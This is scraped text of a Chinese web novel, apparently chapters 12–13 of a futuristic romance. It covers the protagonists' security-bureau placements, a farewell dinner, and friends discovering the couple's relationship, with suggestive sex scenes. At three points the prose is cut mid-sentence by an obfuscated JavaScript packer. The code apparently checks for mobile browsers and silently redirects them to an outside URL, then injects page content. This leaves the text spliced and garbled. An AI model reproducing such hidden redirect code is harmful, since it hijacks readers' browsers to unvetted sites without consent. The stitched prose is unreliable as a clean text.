;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015784|192558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识地摩挲着。 …… 等阳台上的快递窗响起嘀声,梁峭正好从浴室走出来,打开阳台门,送餐的无人机已经飞远了,她把那一大袋餐取回室内,催促楚洄起床去洗澡。 “好嘛……”他懒懒地答应了一声,屈膝爬起来,腰还是有点酸,但还没到不能忍的地步,也亏他身体素质好,但凡换个人现在哪里还能动弹——不对,什么换个人,他自己胡思乱想,想到不对劲的地方又在心里给了自己一巴掌——梁峭就是他一个人的,就算他有一天柔弱的起不来床了她也只能干他一个人。 浴室门关上,隐约还能听到脚步声和餐盒被拆开的声音,楚洄打开淋浴胡乱冲洗了一下,眼神落到腿根,看到几笔露出来的黑色油彩字迹。 想起梁峭落笔时的情景,他很难得地生出了一点羞耻心,掩饰般地捏了捏自己大腿上的肉,等了好一会儿才错开腿去擦洗。 “什么呀……”刚低下头,他重新看清了那字,顿时浑身一紧,自言自语道:“真被我带坏了。” ——梁峭根本没写什么由此入内,她写了一个差一笔未完的正字。 ———————————————————— 接下来的几天依旧是假期,两个人也没怎么出门,吃吃喝喝睡睡,再做点情侣之间应该做的事,日子过得十分舒服且纵.欲。 一直等到月中,楚洄入职意向最高的联邦舰载动力研究院向这一届的毕业生开放了申请,他这开始整理自己的论文和资料,他在自己的专业领域一向如鱼得水,做一份漂亮的申请报告也只是时间问题,只是现在看材料的姿势实在是不太雅观—— 梁峭站在他身后,看着他赤着下身趴在床上翻网页的样子沉默了一会儿,还是将睡裤拿起来扔给了他,提醒道:“穿裤子。” “我晾晾!”他头也没回,扬声反驳了一句就又趴回去了,嘟囔了一句:“都肿了。” 梁峭:“……” 她好一会儿才接上话,说:“我给你涂点药?” 他哼唧了两声,说随便你,又说:“涂完我也得晾晾。” “这个假期过得太放纵了,”他随口说了一句,看着梁峭取了药走过来,又很自然地朝她分开了双腿,顺手抓取了一个网页给她看,说:“上次那篇论文正式发表了。” 《极端环境下动力系统“安全冗余”的失效边界》,一篇一看就和梁峭没什么关系的论文,被他带上了共同的署名。 梁峭没在意,专心给他涂着药,平淡地嗯了一声。 12.chapter12 临近月底,联安局下发了第一批进审人员的名单,同时所有参加此次封闭式训练的毕业生都收到了自己的考核结果,兰格利亚联邦学院所拥有的25个名额中,安全与风险学院占到了近60%。 收到讯息时梁峭正坐在沙发上看书,看到那个意料之中的结果,她并没有太大的反应,确认了一眼就略过了,甚至没有主动和楚洄说,一直到他接到盛扶周的通讯,才知道联安局的第一批名单已经下发。 “盛扶周都进下一批审核了,你没收到吗?”他这么说倒不是不认可盛扶周的能力,不然当年也不会接受邀请进入他的小组,只是不管从客观还是主观上来说,梁峭的综合实力都不可能在他之下,没道理现在盛扶周进了她却没进。 梁峭翻过一页书,听到他问了便答:“收到了。” “没进?”不可能吧。 “进了。” “那你不和我说!” 她抬头看了他一眼,眼里有一丝迷茫,问:“你不是早就知道了吗?” 楚洄一时间有点无言以对,说:“我那是对你有信心!”这和她真的进名单还是有区别的吧。 “嗯,”她又低下头继续看书了,说:“一直有就好了。” 太狂了,她举重若轻的态度中所透出的完全就是狂放,这一个月里她没有参加任何一场别的训练,像是早就知道了今天这个结果——所有的一切都按照她的规划进行,也全都在她的掌控之下。 楚洄看着她平静而又淡漠的神情,突然没头没尾地骂了句脏话,从床尾下来扑到她身上。 看了一半的书被一只手无情地挥开,梁峭愣了愣,不明所以地看着怀中的人,下一秒就被捧住脸用力亲了一下。 他不得不承认自己被这样游刃有余的梁峭迷到了,这种迷恋让他不由自主地想要抢占她的视线,夺取她的注意,甚至希望能同样变成一本书被她掌控在手中,翻来覆去,仔细研读。 ……啧,他边亲她边在心里鞭笞自己,心想到:他不会是个变态吧。 然而梁峭并不知道他脑子里稀奇古怪的想法,只是平静地接受了这个突如其来的吻,托着书的手往上抬了一点,转而去托他的腰臀。 正当他越亲越来劲的时候,抵在腰后的手腕响起了震动声,他喘了口气和她分开,听到她说:“是裴千诉。” 裴千诉也是来告知她喜讯的,尽管一开始就有很高的把握,但真正得到了确切的消息她还是止不住的开心,毕竟那是联安局,里面的所有在任议员加起来甚至能决定联邦的走向,于她们而言也是能够到的最高起点。 “晚上出来庆祝!我看看屋顶花园还有没有位置!”通讯结束的前一秒,裴千诉依旧很兴奋,说:“我去叫卫停他们,顺便问问盛扶周第几名!” 梁峭看着被划断的通讯,问:“……所以盛扶周第几名?” 楚洄说:“刚好在裴千诉后一名。” “嗯,”梁峭说:“你劝他想开点吧。” 楚洄也接到了盛扶周的邀约,和裴千诉订的地方相去不远,都在特列吉尼中心,下午的时候两人一起出门,商定在靠近屋顶花园的路口分开。 “晚上我来接你。”庆祝当然得喝酒,虽然梁峭酒量很好,但他也不可能让她喝了酒还独自回家。 梁峭倒是没什么异议,但她很怀疑楚洄会比她先醉,说:“如果你能保持清醒的话,我没问题。” “我酒量哪有那么差!”楚洄下意识反驳了一句,眼见0916已经停稳,他又马上倾身过去讨吻,说:“亲一下。” 车门已经打开了,梁峭没回应,只是起身的时候略抬了抬手,食指和中指微微并拢,用指背在他唇上轻轻碰了一下。 车门又无声地关上了。 ———————————————————— 梁峭是第二个到的,余阅坐在靠露台的位置上,看见她后主动招了招手,说:“这边。” 她走过去,在她身边坐下来。 “恭喜你呀,我已经听千诉说了,第一名。” 梁峭说:“谢谢。” 她早已习惯了对方的寡言,笑了笑,说:“以后不能一起训练了。” 这句话所代表的意思不言而喻,梁峭看了她一眼,没说话。 安慰人的事对她而言绝对有难度,她只能伸手握住桌上的水杯,让自己看起来有点事做。 “诶呀,没关系啦,”她看出了梁峭的不自在,说:“我怎么说也是1组的成员,就算进不了联安局,还有很多别的选择啊。” 梁峭捏了捏水杯,说:“嗯。” 兰格利亚联邦学院的毕业生当然不愁去路,失去一个机会还会有无数个机会簇拥上来,如果愿意离开兰度,甚至还有很大的机会进入哪个区域的高层,只是…… “只是要和你们分开了,”余阅说出两个人的心中所想,顿了顿,又安慰道:“没事,以后想见面还是能见面的。” 其实很难了。 两个人都心知肚明,但都没有戳破,她们从二年级开始就彼此熟识,还和裴千诉一起参加过很多次真实的救援活动,对于彼此的意义早就不仅仅是同学或是组员,更是可以交付后背的战友,如今面临分离,自然也有许多难以诉诸的心情。 好在很快就有人来打破了这不断弥漫的怅惘,裴千诉和商雪繁一起走了进来,兴奋地跑到梁峭身边,问:“你猜盛扶周第几名!” 她这副样子都已经没什么好猜的了,但梁峭还是配合道:“……第几名?” “就比我低了一名!”她站起来拍拍手,状似可惜地说:“我承认他是有点能力吧,就是比我还差了一点。” 商雪繁忍着笑坐下来,道:“我在路口就碰见她了,和我说一路了。” “难道不该说吗?”裴千诉道:“我要一直说到下次碰见他,真可惜啊,差一点就能超过我了。” 余阅也忍不住弯起嘴角,玩笑道:“你想扬眉吐气应该带着梁峭,她可是第一名。” “你以为我不想,”裴千诉语气里带了点恨铁不成钢,说:“她要是能多说两句话我肯定带上她一起去。” “不说话才好嘛,”余阅笑:“吵架多没意思,一个眼神就够了。” “说的也是,”裴千诉说:“行,我下次就带上她。” 梁峭:“……”她根本没说要去。 大概又等了十分钟,卫停姗姗来迟,坐下来的时候脖子上甚至还挂着一个护目镜,被裴千诉提醒了才慌乱地摘掉,道:“啊……抱歉,我刚从实验室出来。” 他做起试验来堪称废寝忘食,能差不多时间来赴约已经很不错了,众人都没说什么,倒酒举杯,说:“毕业快乐!” 除了庆祝,几人也在席间交流了各自的打算,梁峭和裴千诉现在进入了联安局的审查流程,相当于进入了预备序列,之后还会有一段时间的评估训练期,会被下放到不同区域的基层治安署锻炼。 商雪繁在等联安局名单的时候就向海地管理总署递交了申请,已经通过了第一道审核,大概一周后就要出发去某个小岛上再进行一次为期三个月的训练。 卫停和楚洄学的专业一样,昨天也向联邦舰载动力研究院上交了资料,正在等通知的阶段,余阅则表明自己大概率不会留在兰度,或许会去往新区。 众人一个个说完,之前被裴千诉被打断的情绪又一次蔓延了上来,卫停看了几人一眼,主动说:“还会再见的。” “嗯,对,肯定还会再见的,”裴千诉附和道:“开心一点嘛,今天不是出来庆祝的吗?” 许是不想让气氛彻底跌落谷底,众人又顺着她的话嘻嘻哈哈地开起玩笑来,梁峭在他们抬手的时候一起举起酒杯,认真地说:“希望你们越来越好。” 在兰格利亚的这几年陪自己最多的就是眼前这些人,他们活泼、聪慧、善良、坚韧,拥有很多她未曾有过的品质和能力,也从不在意她的孤僻和寡言,如果没有他们,她现在或许还在与自己内心的阴郁和沉闷为伍,更不会体会到除了亲情之外的温暖和帮助。 即使未来不在一起,她也真诚地希望他们能越来越好。 “我要哭了,”裴千诉做出一副大受感动的夸张表情,过来揽她的肩膀,说:“我们峭姐也会说话了。” 梁峭:“……” 相较于上次众人欢聚的热闹,这一次他们更多的只是喝喝酒说说话,快到零点的时候,勉强坚持到最后的裴千诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021039|192558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也醉倒了,梁峭眼疾手快地托住她的下巴,以免她一头栽倒在餐盘里。 放下喝到一半的酒杯,楚洄也正好发来讯息,问:“结束了吗?” “嗯,”梁峭看了一眼东倒西歪的众人,斟酌着给他回:“都喝醉了。” 楚洄问:“送他们回去?” “要送一下千诉和卫停,余阅和商雪繁有人来接。” “我也要送盛扶周回学校,一起吧。” “可以吗?” “都醉得差不多了,不会醒的。” “有风险。” “发现了就发现了,明天告诉他们是做梦,这俩傻子不会怀疑的。” 这俩傻子指谁已经很明显了,梁峭意欲反驳,又不知道从哪开口,转而问:“那卫停呢?” “其实我一直没告诉你,卫停好像早就知道了。” 梁峭缓缓打出一个问号。 “他找我借论文看,就是我昨天和你说刚发表的那篇,”楚洄解释道:“我本来是觉得等它发表出来我们都已经毕业了,被看到也无所谓,就留着共同署名没有删,结果发给他的时候忘记了,后来他问我我才发现。” 梁峭问:“然后呢。” “他问我为什么我的论文上有你的名字,我说因为这是我们一起写的,你给我做了一次实验数据参考,他又问我为什么你会给我做实验数据参考,我说因为我们在谈恋爱。” “……” “然后他就什么都没说了。” 梁峭一时无言,她看着楚洄发过来的那些字,甚至能想象到他说这些话的语气和样子,无奈道:“你过来吧。” “来了老婆。” …… 出于对裴千诉和盛扶周的尊重,梁峭没有让他们俩坐一起,而是将自己放在了裴千诉和卫停的中间,让盛扶周和楚洄坐在前排。 终点设在北3区,途经三个人的宿舍楼,楚洄确定指令,回头看了一眼满车的醉鬼,嫌弃道:“回去记得提醒我开清洁模式。” 梁峭嗯了一声,问他:“你呢?” 楚洄知道她是在问自己喝了多少,扒着座椅靠背扭过头去看她,说:“半瓶吧,我都没多喝,是不是很乖?” 他这话说得和讨摸的小狗似的,梁峭眼里浮现出一丝笑意,正要开口,一旁的盛扶周突然睁开眼,迷蒙地看着楚洄,含糊道:“楚洄……你在和谁说话?” 楚洄一把将他的脸往另一侧推去,说:“没你事,睡觉,等会儿送你回宿舍。” “哦。”前面传来一句模糊的应答,很快就传来微微的鼾声。 ……还真听话。 然而没等一会儿,自己身侧的人也醒了过来,相比于盛扶周,裴千诉简直是突然暴起,撞到头顶后又痛叫了一声跌回来,大喊道:“我好像闻见盛扶周的信息素了!在哪,我还没嘲笑他呢!” 梁峭伸手按住她,说:“……错觉。” “什么错觉!”她看到了眼前的楚洄,又大叫起来,说:“你怎么在这!” 楚洄笑笑,说:“我来送你回家呀。” 裴千诉没听出他语气里的阴森,听了这话立刻双手交叉做抵御状,说:“你不会暗恋我吧。” 楚洄古怪地看了她一眼,不明白她为什么第一时间冒出的是这种想法,说:“……你没睡醒吧。” 裴千诉说:“那我和你怎么在一辆车上!” “你要不看看你边上还有谁呢?” 听他这么一说,裴千诉迅速扭头看了一眼梁峭,又看看他,又看看梁峭。 反复了几次后,她迟钝的脑子终于反应过来,指着他说:“你居然勾引梁峭!” 楚洄没想到她居然能看出来,挑了挑眉笑着说:“你情我愿的事情怎么叫勾引呢?” 裴千诉崩溃地挠了挠自己的头发,指着楚洄怒气冲冲地说:“我就知道你是个不安分的贱人!” 楚洄故意做惊讶状,说:“天呐那你知道的也太迟了吧。” “啊啊啊!”裴千诉转而抓住梁峭的手,说:“梁峭你快打他!” 楚洄不甘示弱,说:“老婆你看她欺负我!” 梁峭:“……” 她就说有风险吧。 13.Chapter13 拜盛扶周完美的睡眠质量所赐,梁峭最后还是有惊无险地把几人送回了宿舍,没有遭遇两个人同时醒着的混乱局面,看着卫停被他的舍友带进宿舍楼,她也在心里默默地松了一口气,转身折返回车上。 刚坐进去,某个不知道什么时候躲进后座的人就扑了她满怀,但梁峭丝毫没有被吓一跳的意思,半揽着他的腰,说:“坐好。” “哦——”他拉长声音应了,磨磨蹭蹭地直起身子,刚要和她分开点,又趁着0916起步时的微弱惯性顺势一倒,顺带着把腿也跨了过来。 “坐好了。” 不是坐她身上…… ……算了。 梁峭没把这两句话说出来,指尖在车屏上轻点,默默地打开了勿扰模式,等车窗一黑,楚洄就更加肆无忌惮,双臂环上她的肩膀,没骨头一样把自己塞进了她怀里,侧脸紧紧贴着她的颈侧,说:“头疼。” 梁峭问:“你不是只喝了半瓶吗?” 他理直气壮,说:“被裴千诉吵的。” “……”梁峭默了默,说:“给你揉一下?” “不用,”他说着就仰起了头,眼神盯着她不放,说:“给我亲一下。” 亲,又亲,只要两个人在一起就好像黏不够似的,楚洄也没想到自己谈起恋爱来原来是这样,但仔细一想,好像也不是谈恋爱的原因,只是因为和他谈恋爱的人是梁峭。 长长的一吻结束,两个人才在0916安静的疾行中重新说起今天,联安局的名单,朋友们的打算——今天这场热闹的聚会就像是离别的前奏,大家站在路口进行了最后的道别,很快就要各自走向不同的人生道路。 比起梁峭来说,楚洄反而没什么惆怅的情绪,甚至还安慰她,说:“又不是生离死别,想见的人总是能见到的。” 梁峭说嗯,又道:“刚刚吃饭的时候收到消息,下周一要去联安局报道。” 楚洄问:“然后呢。” “评估训练期,”梁峭说:“不知道会不会分在兰度,可能会去新区。” “啊——”楚洄不太高兴,他的资料还在申请期,不能随便离开兰度,这就意味着两个人可能又有很长时间见不到面了。 “要去多久啊?” 梁峭说:“3到6个月。” “我不活了,”楚洄一瞬间浑身泄力,把脑袋抵在她怀里,说:“等你回来就只能看到一个想你想到死掉的我。” 梁峭唇畔盈出点笑意,伸手摸了摸他后脑柔软的发丝,说:“那怎么办?” “这两天不能浪费时间了,”楚洄仰头看她,捧着她的脸煞有介事地说:“为什么我昨天还能下来床,你一点都不努力。” 梁峭说:“我真的很努力了。” 楚洄见她配合的样子,实在忍不住笑,说:“我不满意,今天必须写满一个正字。” 梁峭神色丝毫未变,语气自然地像是在聊工作,问:“这次写在哪?” 楚洄咬着她的嘴唇亲,在下面慢慢拉过她的手贴在了自己的小腹上。 ———————————————————— 梁峭是很漂亮的。 楚洄一直都知道这个事实,否则那张不知道被谁传上学院公网的侧身照不会流传的如此之广,一直到现在还有人转载讨论,时不时地问一句这是哪个学院的谁谁谁。 17岁的入学训练,穿着和大家一样的制服,戴着帽子。 热烈的阳光照下来,帽檐就在深刻的眉眼间拓出深深的阴影,透着一种独属于少年人的青涩和生人勿近的漠然。 他从前从来不关注这些,甚至这张照片都是在和梁峭确定关系后才偶然发现的,他顺手划过去,又划回来,一眼就看出了这个是她,点进去看,下面的各种各样的评论已经接近了上千条。 彼时梁峭就坐在他对面——图书馆的同一个静音座位——伸手就能碰到她,而她低着头,神色专注地看着什么资料,他没办法在短时间内把自己的注意力从她17岁的照片转回到考试材料上,只好偷偷看了她一眼,见她没看自己,就开始透过光屏的背板比照她和照片一般无二的轮廓。 “认真点。” 记忆里的声音和耳边重合了,楚洄甚至感觉迟来的酒意涌上了脑袋,否则他不可能这么昏昏沉沉,费力地仰起头发出含混的声音,挣扎着想要蜷起双腿。 可惜没有成功。 他现在身上除了眼泪能由自己做主,其它都有了另外的主人,她要他生便生,她要他死便死,所有的感官就像是积满水的池子,明明都已经装不下了,还有人一直不停地往里灌,于是水面只能晃晃荡荡,沿着池子边缘开始漫溢。 “梁峭、梁峭……” 他叫了两声她的名字,眼瞳微微往上,涣散着投了一点目光在她身上,似祈似求——情与爱赋予一个人用眼神诉说的能力,她当然懂得,低头轻吻他密密实实的长睫,抚.慰般地说:“快结束了。” …… 骗子! 连过了好几个十分钟,楚洄还没熬到她说的结束,一边在心里发誓接下去一周都不能再发.浪了,一边趴在枕头上欲哭不哭,说:“好了没——” “嗯,快了。” “都好久了……” “不是说不能浪费时间吗?” “……我已经坚持很久啦。” “嗯,奖励你。” “不要了——”眼泪终于流出来了,他咬着枕头一叠声地呜咽,说:“梁峭我要被你玩死了。” “啪——” 屋内的灯光戛然而灭,新一轮的限电日开始了。 ———————————————————— 凌晨几点睡的楚洄不知道,只知道早上是被一则通讯打醒的,皱着眉头往被子里躲,眼睛都没睁,含含糊糊地喊:“梁峭、梁峭……” 她已经起床了,听到声音走过来,发现是盛扶周,没敢贸然接通,提醒他说:“是盛扶周。” 楚洄说:“你接嘛,好吵,我要睡觉。” 梁峭问:“你确定?” 楚洄哼了一声,没有回答。 她只好把通讯转接到自己的终端上,走到阳台才接起来,斟酌着说:“你好,我是梁峭。” “啊——”那边传来的几乎是惨叫,盛扶周的语气堪称绝望,说:“居然不是做梦!” 梁峭说:“……我想应该不是。” “你们真的在一起了?什么时候?怎么在一起的!是不是去年这个时候,我就说他怎么天天往外跑!他人呢!” 梁峭沉吟片刻,选择了回答最后一个问题,说:“……他在睡觉。” 盛扶周简直不敢相信自己听到了什么,说:“你们都进展到这一步了!难道要等结婚了再告诉我!楚洄到底有没有把我当朋友!” 梁峭道:“……抱歉。” “你别道歉!”他立刻打断了她,说:“要道歉也是楚洄道,让他接通讯!” “他在睡觉,”梁峭斟酌了一下,说:“昨天喝了酒,可能有点累。” “他昨天根本没喝!他……”盛扶周的声音被另一阵震动给掩盖了,梁峭看着光屏上格外清晰的“裴千诉”三个字,犹豫片刻后还是按下了接通键。 “梁峭!我和你说我真的做噩梦了,我****我***我真服了,你真的,你都不敢想我梦到了什么,昨天不是喝酒吗,然后……”她前言不搭后语,几乎是语无伦次地说完了自己的梦境,然后道:“你居然和那个花瓶在一起了!” 梁峭道:“这可能不是噩……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032237|192558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你说谁是花瓶呢!” “盛扶周!你个贱人你怎么在这?!” “我给楚洄打通讯,谁知道是梁峭接的,你骂谁是贱人呢?!” “你还好意思说!肯定是楚洄勾引梁峭的,否则梁峭怎么会和他在一起!” “你又知道了?我还说是梁峭先追的楚洄呢。” “我们梁峭话都不说一句会追人吗?你以为楚洄是什么绝世大美人谁都要喜欢啊!” “梁峭跟个哑巴似的谁又会喜欢!肯定是楚洄被她迷惑了,是不是你教她追人的!” “你有病吧你个智障,你的情感模块和社会化训练还不如刚出厂的仿生人……” “……” 梁峭回到屋内,楚洄模模糊糊地半睁着眼要她抱,把头枕在她怀里,问:“盛扶周说什么了?” 梁峭说:“嗯,也没说什么。” 楚洄问:“他挂了吗?” “没有,”梁峭指了指阳台的方向,说:“还在阳台上和裴千诉吵架。” 楚洄清醒了几分,抬起头来一脸懵地看向她,问:“……啊?” …… 裴千诉和盛扶周一直吵到了楚洄起床吃早饭。 他撑着脑袋边听边吃,等他们对骂到没词,说道:“继续啊,我早饭还没吃完呢。” 裴千诉很难接受自己在梁峭的通讯频道里听见盛扶周和楚洄的声音,但她现在也骂不动了,恶狠狠地问:“为什么不早点告诉我!” 楚洄说:“告诉了你俩就这样,我们俩想安生点。” 盛扶周说:“一毕业也能说啊!” 楚洄又吃了一口早饭,说:“没找到合适的机会。” “那为什么现在说了?” “机会到了呗。” 他平静自然的态度衬得裴、盛二人的质问像是在无理取闹,盛扶周气得头疼,说:“你这属于通敌,居然背叛我们7组!” 楚洄一脸无所谓,说:“对不起了,还是我老婆比较重要。” 裴千诉道:“啊啊啊你别说,我真接受不了!” 楚洄说:“那怎么办,开视讯我们俩给你亲一个?” “你去死啊!“ 楚洄说:“好了,不告诉你们是我决定的,我赔礼道歉。” 裴千诉毫不客气,问:“礼呢?” “应该已经到快递柜了吧,打开阳台门看看。” 听到这话,坐在他身边的梁峭给他递了一个疑惑的眼神——虽然昨天让他过来的时候就明白他想公开的意思,今天也是顺其自然地承认了,但他什么时候连礼物都准备好了? 那边安静了两三分钟,随即是裴千诉的声音,问:“这是什么?车行系统账号……” 意识到手中的东西是什么后,她瞬间变脸,说:“祝你们百年好合。” 盛扶周大概也收到了一份贵重又符合心意的礼物,很快也开始在那边很激动地说着什么,楚洄眯眼笑起来,又不知道从哪摸出了两枚戒指,将其中一枚递给她,说:“你也有礼物,但要先给我戴上。” 梁峭总算明白过来一切都是他的蓄谋已久,又是好笑又是无奈,问:“什么时候准备的?” 楚洄道:“很久了,都不记得了。” 一时间,她说不出心中是动容还是其它,沉默片刻,还是先依言给他戴上了戒指,说:“这算什么?” “你想它是什么就是什么,”楚洄仍是笑,顺手划断了两人的通讯,然后将属于她的那枚推进她的指间,说:“男朋友的戒指,小狗的项圈,我的水位线。” 又开始了。 梁峭伸手捂住他的嘴,但楚洄还是倾身靠过来,直至两人隔着手掌触碰到一起,他才盯着她的眼睛说:“现在,你可以亲我了。”